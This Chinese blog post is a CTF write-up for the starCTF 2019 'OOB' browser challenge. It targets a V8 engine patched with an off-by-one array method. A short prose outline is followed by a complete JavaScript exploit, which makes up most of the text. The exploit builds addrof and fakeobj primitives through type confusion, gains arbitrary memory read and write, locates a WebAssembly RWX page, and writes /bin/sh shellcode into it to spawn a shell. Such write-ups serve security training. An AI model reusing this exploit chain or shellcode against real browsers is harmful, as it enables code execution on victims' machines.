【Writeup】starCTF2019_Browser_OOB

原创

BAKUMANSEC 于 2019-08-19 22:10:09 发布 629 收藏
分类专栏： starCTF - Writeups 文章标签： Writeup Browser

本文链接：https://blog.csdn.net/m0_38100569/article/details/99768746

> 本题提供了v8的commit版本号以及一个浏览器程序包，内含一个diff文件，关于如何配置v8环境已经在如下文章中记录：【环境配置】如何编译V8引擎并添加diff补丁

0x01 解题思路

首先可以利用array.oob()方法进行数组对象MAP类型的读取，利用array.oob([map])进行数组对象MAP类型的修改。由此可以利用一个float类型数组和一个object类型数组实现两个方法：getObjAddr（传入对象，返回其地址）和getFakeObj（传入地址，将其解析为一个对象返回）。

之后就可以构造一个数组，将其各个成员变量置为合法的数组对象的值，把相应的elements的字段置为想要读取的地址-0x10n，然后调试获取elements相对obj地址的偏移，再计算出需要传递给getFakeObj的参数值，这样就伪造出了一个fake_obj，读取fake_obj[0]，即可实现任意地址读；修改fake_obj[0]，即可实现任意写。

最后的利用使用浏览器题目特有的利用方式，构建一个执行正常代码的wasm对象，经过不断间接读取地址最终获取到wasm代码所在的rwx内存页的地址。接着声明一个buffer，把buffer存放内容的地址（同样需要一道间接取址的过程）通过任意写函数修改成rwx内存页的地址，最后把shellcode内容写入buffer，这样就实现了置换内存页中执行代码为shellcode的效果，执行wasm对象即可getshell。

具体写脚本还需要注意float和BigInt的转换细节、Obj实际地址为系统地址-1等细节，有一些数据要经过调试确定。另外，函数功能完成后写简单的调试代码测试一下功能比较合适。

总结

- 利用数组对象的Off-by-One漏洞触发类型混淆
- 利用类型混淆实现获取对象地址和伪造地址解析为对象两个原语
- 利用以上两个原语实现伪造新对象
- 利用伪造的新对象实现任意地址读写
- 利用任意地址读写实现shellcode写入wasm对象内存页并执行

0x02 EXP

```
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// convert from float to BigInt64
```

```
// convert from float to BigInt64
function f2i(f){
 float64[0] = f;
 return bigUint64[0];
}

// convert from BigInt64 to float
function i2f(i){
 bigUint64[0] = i;
 return float64[0];
}

// convert from BigInt64 to hex
function i2hex(i){
 return "0x" + i.toString(16).padStart(16, "0");
}

// convert from hex to BigInt64
function hex2i(hex){
 return BigInt(parseInt(hex));
}


var obj = { 'a':2 };
var obj_array = [obj];
var obj_array_map = obj_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();


function getObjAddr(obj_to_leak){
 obj_array[0] = obj_to_leak;
 obj_array.oob(float_array_map);
 var obj_addr = f2i(obj_array[0]) - 1n;
 obj_array.oob(obj_array_map);
 return obj_addr;
}

function getFakeObj(addr_to_fake){
 float_array[0] = i2f(addr_to_fake + 1n);
 float_array.oob(obj_array_map);
 var fake_obj = float_array[0];
 float_array.oob(float_array_map);
 return fake_obj;
}


var fake_array = [
 float_array_map,  // map
 0,  // prototype
 i2f(0x8888888888888889n), // elements
 i2f(0x400000000n)  // length
];

function AAR(addr_to_read){
 var addr = addr_to_read - 0x10n + 0x01n;  // addr of elements should be ood
 fake_array[2] = i2f(addr);
 var fake_obj_addr = getObjAddr(fake_array) + 0x30n;
 var fake_obj = getFakeObj(fake_obj_addr);
 var res = f2i(fake_obj[0]);
```

```
 //console.log("[+]The content of address " + i2hex(addr_to_read) +" is "+ i2hex(res));
 return res;
}

function AAW(addr_to_write, data){
 var addr = addr_to_write - 0x10n + 0x01n;  // addr of elements should be ood
 fake_array[2] = i2f(addr);
 var fake_obj_addr = getObjAddr(fake_array) + 0x30n;
 var fake_obj = getFakeObj(fake_obj_addr);
 fake_obj[0] = i2f(data);
 console.log("[+]The content of address " + i2hex(addr_to_write) +" has been changed to "+ i2hex(data));
}


/*
var a = [1.1];
%DebugPrint(a);
var test_addr = getObjAddr(a);
AAR(test_addr);
AAW(test_addr, hex2i(0x99999996));
AAR(test_addr);
%SystemBreak();
*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,1
32,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,1
11,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = getObjAddr(f);
console.log("[+]f_addr: " + i2hex(f_addr));
var shared_info_addr = AAR(f_addr + 0x18n) - 0x1n;
console.log("[+]shared_info_addr: " + i2hex(shared_info_addr));
var wasm_exported_function_data_addr = AAR(shared_info_addr + 0x8n) - 0x1n;
console.log("[+]wasm_exported_function_data_addr: " + i2hex(wasm_exported_function_data_addr));
var instance_addr = AAR(wasm_exported_function_data_addr + 0x10n) - 0x1n;
console.log("[+]instance_addr: " + i2hex(instance_addr));
var rwx_page_addr = AAR(instance_addr + 0x88n);
console.log("[+]rwx_page_addr: " + i2hex(rwx_page_addr));


var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var buf = new ArrayBuffer(24);
var data_view = new DataView(buf);
var backing_store_addr = getObjAddr(buf) + 0x20n;
console.log("[+]backing_store_addr: " + i2hex(backing_store_addr));
AAW(backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();
```

0x03 参考资料

从一道CTF题零基础学V8漏洞利用

> 参考文章内容比较全面，所以这个wp只简要总结下思路